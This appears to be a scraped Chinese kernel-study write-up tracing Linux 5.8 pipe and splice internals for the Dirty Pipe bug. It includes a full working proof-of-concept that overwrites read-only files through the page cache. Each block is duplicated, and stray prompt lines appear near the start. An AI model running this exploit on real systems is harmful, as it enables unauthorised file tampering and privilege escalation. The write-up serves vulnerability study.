.try_steal = anon_pipe_buf_try_steal,
.get = generic_pipe_buf_get,
};
#/home/ub20/KernelStu/KernelEnvInit/linux-5.8.1/linux-5.8.1/fs/pipe.c
static
const
struct
pipe_buf_operations anon_pipe_buf_ops = {
.release = anon_pipe_buf_release,
.try_steal = anon_pipe_buf_try_steal,
.get = generic_pipe_buf_get,
};
给代码添加中文注释,只在每行代码的后面添加中文注释,如果遇到已有的注释则不修改:
{
}
给代码添加中文注释,只在每行代码的后面添加中文注释,如果遇到已有的注释则不修改:
{
}
set disassembly-flavor intel
dir /home/ub20/LibcSource/glibc-2.31/
set disassembly-flavor intel
dir /home/ub20/LibcSource/glibc-2.31/
grep -r "SYSCALL_DEFINE1(pipe.*" #注释SYSCALL_DEFINE后门的数字代表参数的数量,第一个参数为系统调用号的名称!
grep -r "SYSCALL_DEFINE1(pipe.*" #注释SYSCALL_DEFINE后门的数字代表参数的数量,第一个参数为系统调用号的名称!
SYSCALL_DEFINE1(pipe,
int
__user *, fildes)
{
return
do_pipe2(fildes, 0);
}
SYSCALL_DEFINE1(pipe,
int
__user *, fildes)
{
return
do_pipe2(fildes, 0);
}
/*
* sys_pipe() is the normal C calling standard for creating
* a pipe. It's not the way Unix traditionally does this, though.
*/
static
int
do_pipe2(
int
__user *fildes,
int
flags)
{
struct
file *files[2];
int
fd[2];
int
error;
error = __do_pipe_flags(fd, files, flags);
if
(!error) {
if
(unlikely(copy_to_user(fildes, fd,
sizeof
(fd)))) {
fput(files[0]);
fput(files[1]);
put_unused_fd(fd[0]);
put_unused_fd(fd[1]);
error = -EFAULT;
}
else
{
fd_install(fd[0], files[0]);
fd_install(fd[1], files[1]);
}
}
return
error;
}
/*
* sys_pipe() is the normal C calling standard for creating
* a pipe. It's not the way Unix traditionally does this, though.
*/
static
int
do_pipe2(
int
__user *fildes,
int
flags)
{
struct
file *files[2];
int
fd[2];
int
error;
error = __do_pipe_flags(fd, files, flags);
if
(!error) {
if
(unlikely(copy_to_user(fildes, fd,
sizeof
(fd)))) {
fput(files[0]);
fput(files[1]);
put_unused_fd(fd[0]);
put_unused_fd(fd[1]);
error = -EFAULT;
}
else
{
fd_install(fd[0], files[0]);
fd_install(fd[1], files[1]);
}
}
return
error;
}
#/home/ub20/KernelStu/KernelEnvInit/linux-5.8.1/linux-5.8.1/fs/pipe.c
static
struct
inode * get_pipe_inode(
void
)
{
struct
inode *inode = new_inode_pseudo(pipe_mnt->mnt_sb);
struct
pipe_inode_info *pipe;
...
pipe = alloc_pipe_info();
//申请一个结构体
if
(!pipe)
goto
fail_iput;
inode->i_pipe = pipe;
pipe->files = 2;
pipe->readers = pipe->writers = 1;
inode->i_fop = &pipefifo_fops;
...
}
#/home/ub20/KernelStu/KernelEnvInit/linux-5.8.1/linux-5.8.1/fs/pipe.c
static
struct
inode * get_pipe_inode(
void
)
{
struct
inode *inode = new_inode_pseudo(pipe_mnt->mnt_sb);
struct
pipe_inode_info *pipe;
...
pipe = alloc_pipe_info();
//申请一个结构体
if
(!pipe)
goto
fail_iput;
inode->i_pipe = pipe;
pipe->files = 2;
pipe->readers = pipe->writers = 1;
inode->i_fop = &pipefifo_fops;
...
}
struct
pipe_inode_info {
...
unsigned
int
head;
// 环形缓冲区写指针
unsigned
int
tail;
// 环形缓冲区读指针
unsigned
int
max_usage;
unsigned
int
ring_size;
...
struct
page *tmp_page;
// 临时页缓存(用于零拷贝优化)
...
struct
pipe_buffer *bufs;
// 管道缓冲区数组(核心!)
...
};
struct
pipe_inode_info {
...
unsigned
int
head;
// 环形缓冲区写指针
unsigned
int
tail;
// 环形缓冲区读指针
unsigned
int
max_usage;
unsigned
int
ring_size;
...
struct
page *tmp_page;
// 临时页缓存(用于零拷贝优化)
...
struct
pipe_buffer *bufs;
// 管道缓冲区数组(核心!)
...
};
struct
pipe_buffer {
struct
page *page;
// 直接指向物理内存页(漏洞利用目标
unsigned
int
offset, len;
//页内偏移,有效数据长度
const
struct
pipe_buf_operations *ops;
// 操作函数表
unsigned
int
flags;
// 状态标志
unsigned
long
private
;
// 私有数据
};
struct
pipe_buffer {
struct
page *page;
// 直接指向物理内存页(漏洞利用目标
unsigned
int
offset, len;
//页内偏移,有效数据长度
const
struct
pipe_buf_operations *ops;
// 操作函数表
unsigned
int
flags;
// 状态标志
unsigned
long
private
;
// 私有数据
};
static
ssize_t
pipe_write(
struct
kiocb *iocb,
struct
iov_iter *from)
{
struct
file *filp = iocb->ki_filp;
// 获取文件指针
struct
pipe_inode_info *pipe = filp->private_data;
// 获取管道信息
...
head = pipe->head;
// 获取当前头指针
...
if
((buf->flags & PIPE_BUF_FLAG_CAN_MERGE) &&
// 检查缓冲区是否可合并
...
ret = copy_page_from_iter(buf->page, offset, chars, from);
// 复制数据到缓冲区
...
struct
pipe_buffer *buf = &pipe->bufs[head & mask];
// 获取当前缓冲区
...
pipe->head = head + 1;
// 移动头指针
...
buf = &pipe->bufs[head & mask];
// 获取新缓冲区
buf->page = page;
// 设置缓冲区页
buf->ops = &anon_pipe_buf_ops;
// 设置缓冲区操作
buf->offset = 0;
// 设置偏移量
buf->len = 0;
// 初始长度为0
...
if
(is_packetized(filp))
// 如果是数据包模式
buf->flags = PIPE_BUF_FLAG_PACKET;
// 设置数据包标志
else
buf->flags = PIPE_BUF_FLAG_CAN_MERGE;
// 设置可合并标志
pipe->tmp_page = NULL;
// 清空临时页
...
copied = copy_page_from_iter(page, 0, PAGE_SIZE, from);
// 复制数据到页
...
return
ret;
// 返回实际写入的字节数
}
static
ssize_t
pipe_write(
struct
kiocb *iocb,
struct
iov_iter *from)
{
struct
file *filp = iocb->ki_filp;
// 获取文件指针
struct
pipe_inode_info *pipe = filp->private_data;
// 获取管道信息
...
head = pipe->head;
// 获取当前头指针
...
if
((buf->flags & PIPE_BUF_FLAG_CAN_MERGE) &&
// 检查缓冲区是否可合并
...
ret = copy_page_from_iter(buf->page, offset, chars, from);
// 复制数据到缓冲区
...
struct
pipe_buffer *buf = &pipe->bufs[head & mask];
// 获取当前缓冲区
...
pipe->head = head + 1;
// 移动头指针
...
buf = &pipe->bufs[head & mask];
// 获取新缓冲区
buf->page = page;
// 设置缓冲区页
buf->ops = &anon_pipe_buf_ops;
// 设置缓冲区操作
buf->offset = 0;
// 设置偏移量
buf->len = 0;
// 初始长度为0
...
if
(is_packetized(filp))
// 如果是数据包模式
buf->flags = PIPE_BUF_FLAG_PACKET;
// 设置数据包标志
else
buf->flags = PIPE_BUF_FLAG_CAN_MERGE;
// 设置可合并标志
pipe->tmp_page = NULL;
// 清空临时页
...
copied = copy_page_from_iter(page, 0, PAGE_SIZE, from);
// 复制数据到页
...
return
ret;
// 返回实际写入的字节数
}
if
(is_packetized(filp))
// 如果是数据包模式
buf->flags = PIPE_BUF_FLAG_PACKET;
// 设置数据包标志
else
buf->flags = PIPE_BUF_FLAG_CAN_MERGE;
// 设置可合并标志
if
(is_packetized(filp))
// 如果是数据包模式
buf->flags = PIPE_BUF_FLAG_PACKET;
// 设置数据包标志
else
buf->flags = PIPE_BUF_FLAG_CAN_MERGE;
// 设置可合并标志
if
((buf->flags & PIPE_BUF_FLAG_CAN_MERGE) &&
// 检查缓冲区是否可合并
...
ret = copy_page_from_iter(buf->page, offset, chars, from);
// 复制数据到缓冲区
if
((buf->flags & PIPE_BUF_FLAG_CAN_MERGE) &&
// 检查缓冲区是否可合并
...
ret = copy_page_from_iter(buf->page, offset, chars, from);
// 复制数据到缓冲区
static
ssize_t
pipe_read(
struct
kiocb *iocb,
struct
iov_iter *to)
{
size_t
total_len = iov_iter_count(to);
// 获取要读取的总字节数
struct
file *filp = iocb->ki_filp;
// 获取文件指针
struct
pipe_inode_info *pipe = filp->private_data;
// 获取管道信息
...
unsigned
int
head = pipe->head;
// 获取管道头指针
unsigned
int
tail = pipe->tail;
// 获取管道尾指针
unsigned
int
mask = pipe->ring_size - 1;
// 环形缓冲区掩码
if
(!pipe_empty(head, tail)) {
// 如果管道不为空
struct
pipe_buffer *buf = &pipe->bufs[tail & mask];
// 获取当前缓冲区
...
written = copy_page_to_iter(buf->page, buf->offset, chars, to);
// 复制数据到用户空间
...
ret += chars;
// 更新已读取字节数
buf->offset += chars;
// 更新缓冲区偏移
buf->len -= chars;
// 减少缓冲区剩余数据
...
tail++;
// 移动尾指针
pipe->tail = tail;
// 更新管道尾指针
...
return
ret;
// 返回实际读取的字节数
}
static
ssize_t
pipe_read(
struct
kiocb *iocb,
struct
iov_iter *to)
{
size_t
total_len = iov_iter_count(to);
// 获取要读取的总字节数
struct
file *filp = iocb->ki_filp;
// 获取文件指针
struct
pipe_inode_info *pipe = filp->private_data;
// 获取管道信息
...
unsigned
int
head = pipe->head;
// 获取管道头指针
unsigned
int
tail = pipe->tail;
// 获取管道尾指针
unsigned
int
mask = pipe->ring_size - 1;
// 环形缓冲区掩码
if
(!pipe_empty(head, tail)) {
// 如果管道不为空
struct
pipe_buffer *buf = &pipe->bufs[tail & mask];
// 获取当前缓冲区
...
written = copy_page_to_iter(buf->page, buf->offset, chars, to);
// 复制数据到用户空间
...
ret += chars;
// 更新已读取字节数
buf->offset += chars;
// 更新缓冲区偏移
buf->len -= chars;
// 减少缓冲区剩余数据
...
tail++;
// 移动尾指针
pipe->tail = tail;
// 更新管道尾指针
...
return
ret;
// 返回实际读取的字节数
}
--文件系统层
#0 copy_page_to_iter_pipe
#1 copy_page_to_iter
#2 generic_file_buffered_read
--核心功能层
#3 call_read_iter
#4 generic_file_splice_read
#5 do_splice
--系统调用入口层
#6 __do_sys_splice 实际系统调用实现
#7 __se_sys_splice 处理系统调用参数的安全包装
#8 __x64_sys_splice 这是x86_64架构特定的系统调用入口
#9 do_syscall_64
#10 entry_SYSCALL_64
--文件系统层
#0 copy_page_to_iter_pipe
#1 copy_page_to_iter
#2 generic_file_buffered_read
--核心功能层
#3 call_read_iter
#4 generic_file_splice_read
#5 do_splice
--系统调用入口层
#6 __do_sys_splice 实际系统调用实现
#7 __se_sys_splice 处理系统调用参数的安全包装
#8 __x64_sys_splice 这是x86_64架构特定的系统调用入口
#9 do_syscall_64
#10 entry_SYSCALL_64
SYSCALL_DEFINE6(splice,
int
, fd_in, loff_t __user *, off_in,
int
, fd_out, loff_t __user *, off_out,
size_t
, len, unsigned
int
, flags)
{
struct
fd in, out;
...
if
(in.file) {
...
if
(out.file) {
error = do_splice(in.file, off_in, out.file, off_out,
len, flags);
...
}
SYSCALL_DEFINE6(splice,
int
, fd_in, loff_t __user *, off_in,
int
, fd_out, loff_t __user *, off_out,
size_t
, len, unsigned
int
, flags)
{
struct
fd in, out;
...
if
(in.file) {
...
if
(out.file) {
error = do_splice(in.file, off_in, out.file, off_out,
len, flags);
...
}
/*
* Determine where to splice to/from.
*/
long
do_splice(
struct
file *in, loff_t __user *off_in,
struct
file *out, loff_t __user *off_out,
size_t
len, unsigned
int
flags)
{
struct
pipe_inode_info *ipipe;
struct
pipe_inode_info *opipe;
...
ipipe = get_pipe_info(in,
true
);
//用来判断和获取目标是否为管道
opipe = get_pipe_info(out,
true
);
if
(ipipe && opipe) {
//in和out都是管道
...
}
if
(ipipe) {
//in是管道
....
}
if
(opipe) {
//out是管道
....
ret = wait_for_space(opipe, flags);
// 等待管道有可用空间(如果是阻塞模式可能休眠)
if
(!ret) {
// 等待成功(有空间可用)
...
ret = do_splice_to(in, &offset, opipe, len, flags);
}
...
else
if
(copy_to_user(off_in, &offset,
sizeof
(loff_t)))
ret = -EFAULT;
...
}
/*
* Determine where to splice to/from.
*/
long
do_splice(
struct
file *in, loff_t __user *off_in,
struct
file *out, loff_t __user *off_out,
size_t
len, unsigned
int
flags)
{
struct
pipe_inode_info *ipipe;
struct
pipe_inode_info *opipe;
...
ipipe = get_pipe_info(in,
true
);
//用来判断和获取目标是否为管道
opipe = get_pipe_info(out,
true
);
if
(ipipe && opipe) {
//in和out都是管道
...
}
if
(ipipe) {
//in是管道
....
}
if
(opipe) {
//out是管道
....
ret = wait_for_space(opipe, flags);
// 等待管道有可用空间(如果是阻塞模式可能休眠)
if
(!ret) {
// 等待成功(有空间可用)
...
ret = do_splice_to(in, &offset, opipe, len, flags);
}
...
else
if
(copy_to_user(off_in, &offset,
sizeof
(loff_t)))
ret = -EFAULT;
...
}
/*
* Attempt to initiate a splice from a file to a pipe.尝试从文件向管道发起 splice 操作
*/
static
long
do_splice_to(
struct
file *in, loff_t *ppos,
struct
pipe_inode_info *pipe,
size_t
len,
unsigned
int
flags)
{
int
ret;
if
(unlikely(!(in->f_mode & FMODE_READ)))
// 如果输入文件不可读,则返回错误
return
-EBADF;
ret = rw_verify_area(READ, in, ppos, len);
// 验证读取权限和边界
if
(unlikely(ret < 0))
// 如果验证失败,则返回错误码
return
ret;
if
(unlikely(len > MAX_RW_COUNT))
// 限制读取长度,防止超过最大允许值
len = MAX_RW_COUNT;
if
(in->f_op->splice_read)
// 如果文件支持 splice_read 操作,则调用
return
in->f_op->splice_read(in, ppos, pipe, len, flags);
return
default_file_splice_read(in, ppos, pipe, len, flags);
// 否则使用默认的 splice 读取实现
}
/*
* Attempt to initiate a splice from a file to a pipe.尝试从文件向管道发起 splice 操作
*/
static
long
do_splice_to(
struct
file *in, loff_t *ppos,
struct
pipe_inode_info *pipe,
size_t
len,
unsigned
int
flags)
{
int
ret;
if
(unlikely(!(in->f_mode & FMODE_READ)))
// 如果输入文件不可读,则返回错误
return
-EBADF;
ret = rw_verify_area(READ, in, ppos, len);
// 验证读取权限和边界
if
(unlikely(ret < 0))
// 如果验证失败,则返回错误码
return
ret;
if
(unlikely(len > MAX_RW_COUNT))
// 限制读取长度,防止超过最大允许值
len = MAX_RW_COUNT;
if
(in->f_op->splice_read)
// 如果文件支持 splice_read 操作,则调用
return
in->f_op->splice_read(in, ppos, pipe, len, flags);
return
default_file_splice_read(in, ppos, pipe, len, flags);
// 否则使用默认的 splice 读取实现
}
p *((struct file *) in->f_op->splice_read)
p *((struct file *) in->f_op->splice_read)
pwndbg> p in->f_op->splice_read
$1 = (ssize_t (*)(struct file *, loff_t *, struct pipe_inode_info *, size_t,
unsigned int)) 0xffffffff8120fd20 <generic_file_splice_read>
pwndbg> p in->f_op
$2 = (const struct file_operations *) 0xffffffff82027600 <ramfs_file_operations>
pwndbg> p in->f_op->splice_read
$1 = (ssize_t (*)(struct file *, loff_t *, struct pipe_inode_info *, size_t,
unsigned int)) 0xffffffff8120fd20 <generic_file_splice_read>
pwndbg> p in->f_op
$2 = (const struct file_operations *) 0xffffffff82027600 <ramfs_file_operations>
/**
* generic_file_splice_read - 从文件向管道拼接数据
* @in: 源文件
* @ppos: 文件中的位置指针
* @pipe: 目标管道
* @len: 要拼接的字节数
* @flags: 拼接标志位
*
* 描述:
* 从给定文件读取页面并填充到管道。只要文件有基本可用的->read_iter()方法即可使用。
*/
ssize_t generic_file_splice_read(
struct
file *in, loff_t *ppos,
struct
pipe_inode_info *pipe,
size_t
len,
unsigned
int
flags)
{
struct
iov_iter to;
// 管道迭代器
struct
kiocb kiocb;
// I/O控制块
unsigned
int
i_head;
// 保存管道起始头位置
...
iov_iter_pipe(&to, READ, pipe, len);
// 初始化管道迭代器(读方向)
i_head = to.head;
// 记录当前管道头位置
...
ret = call_read_iter(in, &kiocb, &to);
// 调用文件系统的read_iter方法
if
(ret > 0) {
// 成功读取数据
*ppos = kiocb.ki_pos;
// 更新文件位置
file_accessed(in);
// 标记文件被访问
...
return
ret;
// 返回实际传输字节数或错误码
}
EXPORT_SYMBOL(generic_file_splice_read);
// 导出符号供模块使用
/**
* generic_file_splice_read - 从文件向管道拼接数据
* @in: 源文件
* @ppos: 文件中的位置指针
* @pipe: 目标管道
* @len: 要拼接的字节数
* @flags: 拼接标志位
*
* 描述:
* 从给定文件读取页面并填充到管道。只要文件有基本可用的->read_iter()方法即可使用。
*/
ssize_t generic_file_splice_read(
struct
file *in, loff_t *ppos,
struct
pipe_inode_info *pipe,
size_t
len,
unsigned
int
flags)
{
struct
iov_iter to;
// 管道迭代器
struct
kiocb kiocb;
// I/O控制块
unsigned
int
i_head;
// 保存管道起始头位置
...
iov_iter_pipe(&to, READ, pipe, len);
// 初始化管道迭代器(读方向)
i_head = to.head;
// 记录当前管道头位置
...
ret = call_read_iter(in, &kiocb, &to);
// 调用文件系统的read_iter方法
if
(ret > 0) {
// 成功读取数据
*ppos = kiocb.ki_pos;
// 更新文件位置
file_accessed(in);
// 标记文件被访问
...
return
ret;
// 返回实际传输字节数或错误码
}
EXPORT_SYMBOL(generic_file_splice_read);
// 导出符号供模块使用
static
inline
ssize_t call_read_iter(
struct
file *file,
struct
kiocb *kio,
struct
iov_iter *iter)
{
return
file->f_op->read_iter(kio, iter);
}
static
inline
ssize_t call_read_iter(
struct
file *file,
struct
kiocb *kio,
struct
iov_iter *iter)
{
return
file->f_op->read_iter(kio, iter);
}
/**
* generic_file_read_iter - 通用文件系统读取例程
* @iocb: 内核I/O控制块
* @iter: 数据读取的目标迭代器
*
* 这是所有能直接使用页缓存的文件系统的"read_iter()"例程
*
* iocb->ki_flags中的IOCB_NOWAIT标志表示当无法立即读取数据时应返回-EAGAIN
* 但它不会阻止预读操作
*
* iocb->ki_flags中的IOCB_NOIO标志表示不应为读取或预读发起新I/O请求
* 当没有数据可读时返回-EAGAIN。当会触发预读时,返回可能为空的部分读取结果
*
* 返回值:
* * 复制的字节数(即使是部分读取)
* * 如果没有读取任何数据则返回负错误码(如果设置了IOCB_NOIO则可能返回0)
*/
ssize_t
generic_file_read_iter(
struct
kiocb *iocb,
struct
iov_iter *iter)
{
size_t
count = iov_iter_count(iter);
/* 获取要读取的总字节数 */
ssize_t retval = 0;
/* 初始化返回值 */
...
retval = generic_file_buffered_read(iocb, iter, retval);
/* 执行缓冲读取 */
...
}
EXPORT_SYMBOL(generic_file_read_iter);
/* 导出符号供内核模块使用 */
/**
* generic_file_read_iter - 通用文件系统读取例程
* @iocb: 内核I/O控制块
* @iter: 数据读取的目标迭代器
*
* 这是所有能直接使用页缓存的文件系统的"read_iter()"例程
*
* iocb->ki_flags中的IOCB_NOWAIT标志表示当无法立即读取数据时应返回-EAGAIN
* 但它不会阻止预读操作
*
* iocb->ki_flags中的IOCB_NOIO标志表示不应为读取或预读发起新I/O请求
* 当没有数据可读时返回-EAGAIN。当会触发预读时,返回可能为空的部分读取结果
*
* 返回值:
* * 复制的字节数(即使是部分读取)
* * 如果没有读取任何数据则返回负错误码(如果设置了IOCB_NOIO则可能返回0)
*/
ssize_t
generic_file_read_iter(
struct
kiocb *iocb,
struct
iov_iter *iter)
{
size_t
count = iov_iter_count(iter);
/* 获取要读取的总字节数 */
ssize_t retval = 0;
/* 初始化返回值 */
...
retval = generic_file_buffered_read(iocb, iter, retval);
/* 执行缓冲读取 */
...
}
EXPORT_SYMBOL(generic_file_read_iter);
/* 导出符号供内核模块使用 */
/**
* generic_file_buffered_read - generic file read routine
* @iocb: the iocb to read // 要读取的I/O控制块
* @iter: data destination // 数据目的地
* @written: already copied // 已经拷贝的字节数
* 使用mapping->a_ops->readpage()函数进行实际底层操作这看起来有点丑,但goto语句实际上有助于理清错误处理等逻辑
* 返回值:
* * 拷贝的总字节数,包括已经@written的部分
* * 如果没有拷贝任何数据则返回负的错误码
*/
ssize_t generic_file_buffered_read(
struct
kiocb *iocb,
struct
iov_iter *iter, ssize_t written)
{
struct
file *filp = iocb->ki_filp;
// 获取文件指针
struct
address_space *mapping = filp->f_mapping;
// 获取地址空间映射
...
page = find_get_page(mapping, index);
// 查找并获取页面
...
/*
* 好了,我们有了页面,并且它是最新的,现在可以拷贝到用户空间了...
*/
ret = copy_page_to_iter(page, offset, nr, iter);
// 拷贝页面到迭代器
...
return
written ? written : error;
// 返回已写入字节数或错误码
}
EXPORT_SYMBOL_GPL(generic_file_buffered_read);
// 导出符号
/**
* generic_file_buffered_read - generic file read routine
* @iocb: the iocb to read // 要读取的I/O控制块
* @iter: data destination // 数据目的地
* @written: already copied // 已经拷贝的字节数
* 使用mapping->a_ops->readpage()函数进行实际底层操作这看起来有点丑,但goto语句实际上有助于理清错误处理等逻辑
* 返回值:
* * 拷贝的总字节数,包括已经@written的部分
* * 如果没有拷贝任何数据则返回负的错误码
*/
ssize_t generic_file_buffered_read(
struct
kiocb *iocb,
struct
iov_iter *iter, ssize_t written)
{
struct
file *filp = iocb->ki_filp;
// 获取文件指针
struct
address_space *mapping = filp->f_mapping;
// 获取地址空间映射
...
page = find_get_page(mapping, index);
// 查找并获取页面
...
/*
* 好了,我们有了页面,并且它是最新的,现在可以拷贝到用户空间了...
*/
ret = copy_page_to_iter(page, offset, nr, iter);
// 拷贝页面到迭代器
...
return
written ? written : error;
// 返回已写入字节数或错误码
}
EXPORT_SYMBOL_GPL(generic_file_buffered_read);
// 导出符号
size_t
copy_page_to_iter(
struct
page *page,
size_t
offset,
size_t
bytes,
struct
iov_iter *i)
{
...
else
if
(likely(!iov_iter_is_pipe(i)))
return
copy_page_to_iter_iovec(page, offset, bytes, i);
else
return
copy_page_to_iter_pipe(page, offset, bytes, i);
}
EXPORT_SYMBOL(copy_page_to_iter);
size_t
copy_page_to_iter(
struct
page *page,
size_t
offset,
size_t
bytes,
struct
iov_iter *i)
{
...
else
if
(likely(!iov_iter_is_pipe(i)))
return
copy_page_to_iter_iovec(page, offset, bytes, i);
else
return
copy_page_to_iter_pipe(page, offset, bytes, i);
}
EXPORT_SYMBOL(copy_page_to_iter);
static
size_t
copy_page_to_iter_pipe(
struct
page *page,
size_t
offset,
size_t
bytes,
struct
iov_iter *i)
{
struct
pipe_inode_info *pipe = i->pipe;
// 获取管道信息
struct
pipe_buffer *buf;
// 管道缓冲区指针
unsigned
int
p_tail = pipe->tail;
// 管道尾指针
unsigned
int
p_mask = pipe->ring_size - 1;
// 管道环形缓冲区掩码
unsigned
int
i_head = i->head;
// 迭代器头指针
...
buf->ops = &page_cache_pipe_buf_ops;
// 设置缓冲区的操作函数
get_page(page);
// 增加页的引用计数
buf->page = page;
// 设置缓冲区指向的页,这里成功实现了page指向的替换
buf->offset = offset;
// 设置缓冲区的偏移量
buf->len = bytes;
// 设置缓冲区的长度
pipe->head = i_head + 1;
// 更新管道头指针
i->iov_offset = offset + bytes;
// 更新迭代器偏移量
i->head = i_head;
// 更新迭代器头指针
out:
i->count -= bytes;
// 减少剩余需要处理的字节数
return
bytes;
// 返回实际处理的字节数
}
static
size_t
copy_page_to_iter_pipe(
struct
page *page,
size_t
offset,
size_t
bytes,
struct
iov_iter *i)
{
struct
pipe_inode_info *pipe = i->pipe;
// 获取管道信息
struct
pipe_buffer *buf;
// 管道缓冲区指针
unsigned
int
p_tail = pipe->tail;
// 管道尾指针
unsigned
int
p_mask = pipe->ring_size - 1;
// 管道环形缓冲区掩码
unsigned
int
i_head = i->head;
// 迭代器头指针
...
buf->ops = &page_cache_pipe_buf_ops;
// 设置缓冲区的操作函数
get_page(page);
// 增加页的引用计数
buf->page = page;
// 设置缓冲区指向的页,这里成功实现了page指向的替换
buf->offset = offset;
// 设置缓冲区的偏移量
buf->len = bytes;
// 设置缓冲区的长度
pipe->head = i_head + 1;
// 更新管道头指针
i->iov_offset = offset + bytes;
// 更新迭代器偏移量
i->head = i_head;
// 更新迭代器头指针
out:
i->count -= bytes;
// 减少剩余需要处理的字节数
return
bytes;
// 返回实际处理的字节数
}
buf->page = page; // 直接将文件的 Page Cache 页面关联到管道缓冲区
buf->flags = PIPE_BUF_FLAG_CAN_MERGE; // 标记缓冲区可合并
buf->page = page; // 直接将文件的 Page Cache 页面关联到管道缓冲区
buf->flags = PIPE_BUF_FLAG_CAN_MERGE; // 标记缓冲区可合并
#define _GNU_SOURCE
#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#ifndef PAGE_SIZE
#define PAGE_SIZE 4096
#endif
static
void
prepare_pipe(
int
p[2])
{
if
(pipe(p)) {
abort
();
}
const
unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ);
static
char
buffer[4096];
for
(unsigned r = pipe_size; r > 0;) {
unsigned n = r >
sizeof
(buffer) ?
sizeof
(buffer) : r;
r -= write(p[1], buffer, n);
}
for
(unsigned r = pipe_size; r > 0;) {
//将管道清空
unsigned n = r >
sizeof
(buffer) ?
sizeof
(buffer) : r;
r -= read(p[0], buffer, n);
}
}
int
main(
int
argc,
char
**argv)
{
if
(argc != 4)
return
EXIT_FAILURE;
const
char
*path = argv[1];
loff_t offset =
strtoul
(argv[2], NULL, 0);
const
char
*data = argv[3];
size_t
data_size =
strlen
(data);
int
fd = open(path, O_RDONLY);
if
(fd < 0)
return
EXIT_FAILURE;
struct
stat st;
if
(fstat(fd, &st) || offset > st.st_size ||
(offset + data_size) > st.st_size) {
return
EXIT_FAILURE;
}
int
p[2];
prepare_pipe(p);
offset--;
ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0);
if
(nbytes <= 0)
return
EXIT_FAILURE;
if
(write(p[1], data, data_size) != data_size) {
return
EXIT_FAILURE;
}
printf
(
"It worked!\n"
);
return
EXIT_SUCCESS;
}
#define _GNU_SOURCE
#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#ifndef PAGE_SIZE
#define PAGE_SIZE 4096
#endif
static
void
prepare_pipe(
int
p[2])
{
if
(pipe(p)) {
abort
();
}
const
unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ);
static
char
buffer[4096];
for
(unsigned r = pipe_size; r > 0;) {
unsigned n = r >
sizeof
(buffer) ?
sizeof
(buffer) : r;
r -= write(p[1], buffer, n);
}
for
(unsigned r = pipe_size; r > 0;) {
//将管道清空
unsigned n = r >
sizeof
(buffer) ?
sizeof
(buffer) : r;
r -= read(p[0], buffer, n);
}
}
int
main(
int
argc,
char
**argv)
{
if
(argc != 4)
return
EXIT_FAILURE;
const
char
*path = argv[1];
loff_t offset =
strtoul
(argv[2], NULL, 0);
const
char
*data = argv[3];
size_t
data_size =
strlen
(data);
int
fd = open(path, O_RDONLY);
if
(fd < 0)
return
EXIT_FAILURE;
struct
stat st;
if
(fstat(fd, &st) || offset > st.st_size ||
(offset + data_size) > st.st_size) {
return
EXIT_FAILURE;
}
int
p[2];
prepare_pipe(p);
offset--;
ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0);
if
(nbytes <= 0)
return
EXIT_FAILURE;
if
(write(p[1], data, data_size) != data_size) {
return
EXIT_FAILURE;
}
printf
(
"It worked!\n"
);
return
EXIT_SUCCESS;
}
int
fd = open(path, O_RDONLY);
if
(fd < 0)
return
EXIT_FAILURE;
int
fd = open(path, O_RDONLY);
if
(fd < 0)
return
EXIT_FAILURE;
grep
-r
"SYSCALL_DEFINE3(open,.*"
grep
-r
"SYSCALL_DEFINE3(open,.*"
#/home/ub20/KernelStu/KernelEnvInit/linux-5.8.1/linux-5.8.1/fs/open.c:1179
SYSCALL_DEFINE3(open,
const
char
__user *, filename,
int
, flags, umode_t, mode)
{
return
ksys_open(filename, flags, mode);
}
可以追踪到系统调用链:ksys_open->do_sys_open->do_sys_openat2
static
long
do_sys_openat2(
int
dfd,
const
char
__user *filename,
struct
open_how *how)
{
...
if
(fd >= 0) {
// 如果文件描述符分配成功
struct
file *f = do_filp_open(dfd, tmp, &op);
// 调用核心函数打开文件,返回 file 结构体
...
}
#/home/ub20/KernelStu/KernelEnvInit/linux-5.8.1/linux-5.8.1/fs/open.c:1179
SYSCALL_DEFINE3(open,
const
char
__user *, filename,
int
, flags, umode_t, mode)
{
return
ksys_open(filename, flags, mode);
}
可以追踪到系统调用链:ksys_open->do_sys_open->do_sys_openat2
static
long
do_sys_openat2(
int
dfd,
const
char
__user *filename,
struct
open_how *how)
{
...
if
(fd >= 0) {
// 如果文件描述符分配成功
struct
file *f = do_filp_open(dfd, tmp, &op);
// 调用核心函数打开文件,返回 file 结构体